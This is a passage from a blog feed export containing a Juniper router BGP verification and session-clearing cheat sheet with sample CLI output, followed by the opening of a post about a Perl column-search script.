<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Cheat Sheet</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">FOR VERIFYING BGP STATE &amp; RECEIVED PREFIXES STATS</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show bgp neighbor 172.16.1.1</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Peer: 172.16.1.1+179 AS 10 Local: 172.16.1.2+1028 AS 20</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Type: External <strong>State: Established</strong> Flags: &lt;&gt;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Last State: OpenConfirm Last Event: RecvKeepAlive</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Last Error: None</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Options: &lt;Preference HoldTime PeerAS Refresh&gt;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Holdtime: 90 Preference: 170</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Number of flaps: 0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Peer ID: 192.168.2.2 Local ID: 192.168.5.5 Active Holdtime: 90</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Keepalive Interval: 30</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Local Interface: so-0/0/1.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">NLRI advertised by peer: inet-unicast</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">NLRI for this session: inet-unicast</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Peer supports Refresh capability (2)</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Table inet.0 Bit: 10000</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Send state: in sync</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Active prefixes: 4</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Received prefixes: 4</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Suppressed due to damping: 0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Last traffic (seconds): Received 13 Sent 13 Checked 13</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Input messages: Total 438 Updates 4 Refreshes 0 Octets 8473</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Output messages: Total 440 Updates 4 Refreshes 0 Octets 8526</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Output Queue[0]: 0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">If Active Prefixes not equal to Received Prefixes then need to check Route Filter for why few prefixes dropped</span></em></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Cheat Sheet</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">FOR VERIFYING ROUTES PLACED IN ROUTING TABLE ADVERTISED FROM A PEER</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show route receive-protocol bgp 192.168.7.7</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">inet.0: 26 destinations, 27 routes (26 active, 0 holddown, <strong>0 hidden</strong>)</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">+ = Active Route, &#8211; = Last Active, * = Both</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">10.20.3.0/24</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">192.168.7.7 0 100 I</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">10.20.4.0/24</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">192.168.7.7 0 100 I</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">FOR VERIFYING ROUTES RECEIVED FROM A PEER BUT NOT PLACED IN ROUTING TABLE </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show route receive-protocol bgp 192.168.5.5</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">inet.0: 21 destinations, 22 routes (13 active, 0 holddown, <strong>8 hidden</strong>)</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show route hidden | match 192.168.5.5</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">inet.0: 21 destinations, 22 routes (13 active, 0 holddown, 8 hidden)</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">+ = Active Route, &#8211; = Last Active, * = Both</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">10.10.1.0/24 [BGP/170] 01:04:41, MED 0, localpref 100, from 192.168.5.5</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">AS path: 10 I</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Unusable</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show route inactive-prefixes | match 192.168.5.5</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Cheat Sheet</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">FOR VERIFYING ROUTES ADVERTISED TO A PEER</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show route advertising-protocol bgp 192.168.5.5</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">inet.0: 21 destinations, 22 routes (13 active, 0 holddown, 8 hidden)</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">+ = Active Route, &#8211; = Last Active, * = Both</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">10.20.3.0/24</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Self 0 100 I</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">10.20.4.0/24</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Self 0 100 I</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">FOR VERIFYING ROUTE-FILTER FOR A PEER</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show policy peer-192.168.5.5</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">FOR VERIFYING ROUTES IN THE ROUTING TABLE WITH A PARTICULAR AS-NO IN THE AS-PATH FOR A PEER </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show route aspath-regex “.*AS-NO.*” | match 192.168.5.5</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">FOR VERIFYING ROUTES IN THE ROUTING TABLE FOR A PARTICULAR ROUTING-INSTANCE </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt;show route table instance_name.inet.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Cheat Sheet</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">FOR CLEARING BGP PEER SESSION</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Hard Clear: Restarting BGP Peer Session</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>clear bgp neighbor 192.168.5.5</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Soft Clear: Refreshing Inbound &amp; Outbound Routes</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>clear bgp neighbor 192.168.5.5 soft</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Verifying CLI Commands History</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; show log cli-commands | match interface_name / interface_IP</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/intro-to-juniper-routers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Searching for a pattern as a string or regular expression</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/searching-for-a-pattern-as-a-string-or-regular-expression/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/searching-for-a-pattern-as-a-string-or-regular-expression/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:10:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[Searching for a pattern as a string or regular expression]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=126</guid>
		<description><![CDATA[searchPatternInColumn pl.Ver1p1
 
1.  Introduction
           
          Searching for a pattern as a string or regular expression ( perl syntax ) in a file in the  specified column.
 
 
2.        Uses and Guidelines (Optional)
 
          usage: ./searchPatternInColumn.pl.Ver1p1 &#60;Input file&#62; &#60;delimiter&#62; &#60;Pattern file&#62;  &#60;columnNumber&#62;
 
 
·         Operating System                                   UNIX
·         Language/Tools used for development        Shell
 
3.    Code
 
#!/usr/bin/perl
#$Id: test.pl,v 2.0 2004/10/08 13:00:03 kumap Exp $
 
 
# Performs the same [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 0pt 27pt; line-height: normal; text-align: center;" align="center"><strong><span style="text-decoration: underline;"><span style="font-size: 14pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="font-size: 14pt; font-family: 'Verdana','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">searchPatternInColumn pl.Ver1p1</span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 27pt; line-height: normal;"><strong><span style="font-size: 12pt; font-family: &quot;Verdana;"> </span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 0.75in; text-indent: -27pt; line-height: normal; mso-list: l0 level1 lfo1; tab-stops: list 39.0pt;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;">1.<span style="font: 7pt &quot;Times New Roman&quot;;"> </span></span></span></strong><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;"> </span>Introduction</span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">           </span></span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: Arial;"><span style="mso-spacerun: yes;">          </span>Searching for a pattern as a string or regular expression ( perl syntax ) in a file in the<span style="mso-spacerun: yes;">  </span>specified column.</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; text-indent: -39pt; line-height: normal; mso-list: l0 level1 lfo1; tab-stops: list .75in; mso-outline-level: 1;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;">2.<span style="font: 7pt &quot;Times New Roman&quot;;">        </span></span></span></strong><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">Uses and Guidelines (Optional)</span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; color: navy; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: Arial;"><span style="mso-spacerun: yes;">          </span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: Arial;">usage: ./searchPatternInColumn.pl.Ver1p1 &lt;Input file&gt; &lt;delimiter&gt; &lt;Pattern file&gt;<span style="mso-spacerun: yes;">  </span>&lt;columnNumber&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; text-indent: -0.25in; line-height: normal; mso-list: l1 level1 lfo2; tab-stops: list 66.0pt;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">Operating System<span style="mso-tab-count: 4;">                                   </span>UNIX</span></p>
